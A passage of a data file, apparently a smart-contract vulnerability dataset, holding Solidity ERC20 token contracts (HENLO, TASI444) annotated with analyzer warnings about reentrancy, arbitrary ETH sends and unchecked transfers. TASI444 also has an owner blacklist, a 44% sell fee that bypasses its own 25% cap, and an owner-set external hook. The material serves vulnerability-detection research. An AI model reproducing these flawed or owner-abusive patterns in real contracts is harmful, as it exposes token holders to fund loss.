address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 73bd747\n\t\t\t\t\t// reentrancy-eth | ID: 31ee5cf\n\t\t\t\t\t// reentrancy-eth | ID: bbdb573\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 31ee5cf\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 31ee5cf\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 73bd747\n\t\t\t\t// reentrancy-eth | ID: bbdb573\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 73bd747\n\t\t\t\t\t// reentrancy-eth | ID: bbdb573\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bbdb573\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 73bd747\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bbdb573\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bbdb573\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 73bd747\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cb133c0\n\t\t// reentrancy-events | ID: 73bd747\n\t\t// reentrancy-benign | ID: 64f8bf0\n\t\t// reentrancy-eth | ID: 31ee5cf\n\t\t// reentrancy-eth | ID: bbdb573\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1dbc4f7): HENLO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1dbc4f7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cb133c0\n\t\t// reentrancy-events | ID: 73bd747\n\t\t// reentrancy-eth | ID: 31ee5cf\n\t\t// reentrancy-eth | ID: bbdb573\n\t\t// arbitrary-send-eth | ID: 1dbc4f7\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 669ee03): HENLO.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 669ee03: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 669ee03\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7f415e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7f415e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ba0b1a9): HENLO.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ba0b1a9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 535a7cd): HENLO.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 535a7cd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 15f5ce5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 15f5ce5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 7f415e8\n\t\t// unused-return | ID: ba0b1a9\n\t\t// reentrancy-eth | ID: 15f5ce5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7f415e8\n\t\t// unused-return | ID: 535a7cd\n\t\t// reentrancy-eth | ID: 15f5ce5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7f415e8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 15f5ce5\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 7f415e8\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10246.sol",
"size_bytes": 23059,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IAntiDrainer {\n function isEnabled(address token) external view returns (bool);\n\n function check(\n address from,\n address to,\n address pair,\n uint256 maxWalletSizeTasi,\n uint256 MaxTasiTXAmount,\n uint256 swapTokensAtAmountTasi\n ) external returns (bool);\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a29958): TASI444.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 3a29958: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract ERC20 is Context, IERC20 {\n string private _name;\n\n string private _symbol;\n\n uint256 private _totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ee67e76\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b2f9e8f\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 6c7f1ad\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 6c7f1ad\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: b2f9e8f\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract TASI444 is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2f91247): TASI444.uniswapRouter should be immutable \n\t// Recommendation for 2f91247: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5e4029a): TASI444.uniswapPair should be immutable \n\t// Recommendation for 5e4029a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fcf5291): TASI444.Tasi should be immutable \n\t// Recommendation for fcf5291: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public Tasi;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c57c33): TASI444.TopSaudi should be immutable \n\t// Recommendation for 6c57c33: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public TopSaudi;\n\n bool public SaudiTasiTradingActive = false;\n\n bool public TasiSwapEnabled = false;\n\n bool public NolimitTasi = true;\n\n uint256 public MaxTasiTX;\n\n uint256 public swapTokensAtAmountTasi;\n\n uint256 public maxWalletSizeTasi;\n\n uint256 public buyTotalFeesTasi;\n\n uint256 public buyMarketFeeTasi;\n\n uint256 public buyDevFeeTasi;\n\n uint256 public sellTotalFeesTasi;\n\n uint256 public sellMarketFeeTasi;\n\n uint256 public sellDevFeeTasi;\n\n uint256 public tokensForMarketTasi;\n\n uint256 public tokensForDevTasi;\n\n address private antiDrainer;\n\n bool private swapping;\n\n mapping(address => bool) private isBlackList;\n\n mapping(address => bool) public isExcludedFromFees;\n\n mapping(address => bool) public isExcludeMaxTasiTX;\n\n mapping(address => bool) public ammPairs;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a29958): TASI444.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 3a29958: Rename the local variables that shadow another component.\n constructor() ERC20(\"TASI444\", \"TASI\") {\n if (block.chainid == 1 || block.chainid == 5)\n uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n else if (block.chainid == 11155111)\n uniswapRouter = IUniswapV2Router02(\n 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008\n );\n\n uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(\n address(this),\n uniswapRouter.WETH()\n );\n\n Tasi = address(0xE3Ed26a4d0dFbAAB945D67e0070E612b1Da62061);\n\n TopSaudi = address(0xE3Ed26a4d0dFbAAB945D67e0070E612b1Da62061);\n\n isExcludeMaxTasiTX[address(uniswapRouter)] = true;\n\n isExcludeMaxTasiTX[address(uniswapPair)] = true;\n\n isExcludeMaxTasiTX[owner()] = true;\n\n isExcludeMaxTasiTX[address(this)] = true;\n\n isExcludeMaxTasiTX[address(0xdead)] = true;\n\n isExcludedFromFees[owner()] = true;\n\n isExcludedFromFees[address(this)] = true;\n\n isExcludedFromFees[address(0xdead)] = true;\n\n ammPairs[address(uniswapPair)] = true;\n\n uint256 totalSupply = 444_444_444 * 1e18;\n\n swapTokensAtAmountTasi = (totalSupply * 5) / 10000;\n\n MaxTasiTX = 8_888_888 * 1e18;\n\n maxWalletSizeTasi = 8_888_888 * 1e18;\n\n buyMarketFeeTasi = 4;\n\n buyDevFeeTasi = 0;\n\n buyTotalFeesTasi = buyMarketFeeTasi + buyDevFeeTasi;\n\n sellMarketFeeTasi = 44;\n\n sellDevFeeTasi = 0;\n\n sellTotalFeesTasi = sellMarketFeeTasi + sellDevFeeTasi;\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n SaudiTasiTradingActive = true;\n\n TasiSwapEnabled = true;\n }\n\n function openTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {\n bytes32 domainHash = keccak256(\n abi.encode(\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(\"Trading Token\")),\n keccak256(bytes(\"1\")),\n block.chainid,\n address(this)\n )\n );\n\n bytes32 structHash = keccak256(\n abi.encode(\n keccak256(\"Permit(string content,uint256 nonce)\"),\n keccak256(bytes(\"Enable Trading\")),\n uint256(0)\n )\n );\n\n bytes32 digest = keccak256(\n abi.encodePacked(\"\\x19\\x01\", domainHash, structHash)\n );\n\n address sender = ecrecover(digest, v, r, s);\n\n require(sender == owner(), \"Invalid signature\");\n\n SaudiTasiTradingActive = true;\n\n TasiSwapEnabled = true;\n }\n\n function excludeFromMaxTasiTX(address addr, bool value) external onlyOwner {\n isExcludeMaxTasiTX[addr] = value;\n }\n\n function excludeFromFees(address account, bool value) external onlyOwner {\n isExcludedFromFees[account] = value;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n NolimitTasi = false;\n\n return true;\n }\n\n function updateTasiSwapEnabled(bool enabled) external onlyOwner {\n TasiSwapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ba8703f): TASI444.updatemaxWalletSizeTasi(uint256) should emit an event for maxWalletSizeTasi = newNum * (10 ** 18) \n\t// Recommendation for ba8703f: Emit an event for critical parameter changes.\n function updatemaxWalletSizeTasi(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWalletSizeTasi lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: ba8703f\n maxWalletSizeTasi = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3c11174): TASI444.updateswapTokensAtAmountTasi(uint256) should emit an event for swapTokensAtAmountTasi = newAmount \n\t// Recommendation for 3c11174: Emit an event for critical parameter changes.\n function updateswapTokensAtAmountTasi(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 3c11174\n swapTokensAtAmountTasi = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5e97942): TASI444.updateMaxTasiTX(uint256) should emit an event for MaxTasiTX = newNum * (10 ** 18) \n\t// Recommendation for 5e97942: Emit an event for critical parameter changes.\n function updateMaxTasiTX(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set MaxTasiTX lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 5e97942\n MaxTasiTX = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3a3e42f): TASI444.updateBuyFees(uint256,uint256) should emit an event for buyMarketFeeTasi = newMarketFee buyDevFeeTasi = newDevFee buyTotalFeesTasi = buyMarketFeeTasi + buyDevFeeTasi \n\t// Recommendation for 3a3e42f: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 newMarketFee,\n uint256 newDevFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 3a3e42f\n buyMarketFeeTasi = newMarketFee;\n\n\t\t// events-maths | ID: 3a3e42f\n buyDevFeeTasi = newDevFee;\n\n\t\t// events-maths | ID: 3a3e42f\n buyTotalFeesTasi = buyMarketFeeTasi + buyDevFeeTasi;\n\n require(buyTotalFeesTasi <= 25, \"Must keep fees at 25% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bc0c9ec): TASI444.updateSellFees(uint256,uint256) should emit an event for sellMarketFeeTasi = newMarketFee sellDevFeeTasi = newDevFee sellTotalFeesTasi = sellMarketFeeTasi + sellDevFeeTasi \n\t// Recommendation for bc0c9ec: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 newMarketFee,\n uint256 newDevFee\n ) external onlyOwner {\n\t\t// events-maths | ID: bc0c9ec\n sellMarketFeeTasi = newMarketFee;\n\n\t\t// events-maths | ID: bc0c9ec\n sellDevFeeTasi = newDevFee;\n\n\t\t// events-maths | ID: bc0c9ec\n sellTotalFeesTasi = sellMarketFeeTasi + sellDevFeeTasi;\n\n require(sellTotalFeesTasi <= 25, \"Must keep fees at 70% or less\");\n }\n\n function setAntiDrainer(address newAntiDrainer) external onlyOwner {\n require(newAntiDrainer != address(0x0), \"Invalid anti-drainer\");\n\n antiDrainer = newAntiDrainer;\n }\n\n function setAMMPair(address pair, bool value) external onlyOwner {\n require(\n pair != uniswapPair,\n \"The pair cannot be removed from ammPairs\"\n );\n\n ammPairs[pair] = value;\n }\n\n function setBlackList(\n address[] calldata wallets,\n bool blocked\n ) external onlyOwner {\n for (uint256 i = 0; i < wallets.length; i++) {\n isBlackList[wallets[i]] = blocked;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bc0b7f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bc0b7f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 2ed908c): TASI444.swapBack().success is written in both (success,None) = address(TopSaudi).call{value ethForDev}() (success,None) = address(Tasi).call{value address(this).balance}()\n\t// Recommendation for 2ed908c: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForMarketTasi + tokensForDevTasi;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) return;\n\n if (contractBalance > swapTokensAtAmountTasi * 20)\n contractBalance = swapTokensAtAmountTasi * 20;\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: bc0b7f8\n swapTokensForEth(contractBalance);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForDev = ethBalance.mul(tokensForDevTasi).div(\n totalTokensToSwap\n );\n\n\t\t// reentrancy-no-eth | ID: bc0b7f8\n tokensForMarketTasi = 0;\n\n\t\t// reentrancy-no-eth | ID: bc0b7f8\n tokensForDevTasi = 0;\n\n\t\t// reentrancy-events | ID: b2f9e8f\n\t\t// reentrancy-benign | ID: ee67e76\n\t\t// write-after-write | ID: 2ed908c\n\t\t// reentrancy-eth | ID: 6c7f1ad\n (success, ) = address(TopSaudi).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: b2f9e8f\n\t\t// reentrancy-benign | ID: ee67e76\n\t\t// write-after-write | ID: 2ed908c\n\t\t// reentrancy-eth | ID: 6c7f1ad\n (success, ) = address(Tasi).call{value: address(this).balance}(\"\");\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapRouter.WETH();\n\n _approve(address(this), address(uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: b2f9e8f\n\t\t// reentrancy-benign | ID: ee67e76\n\t\t// reentrancy-no-eth | ID: bc0b7f8\n\t\t// reentrancy-eth | ID: 6c7f1ad\n uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b2f9e8f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b2f9e8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ee67e76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ee67e76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bf14384): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bf14384: Apply the check-effects-interactions pattern (see 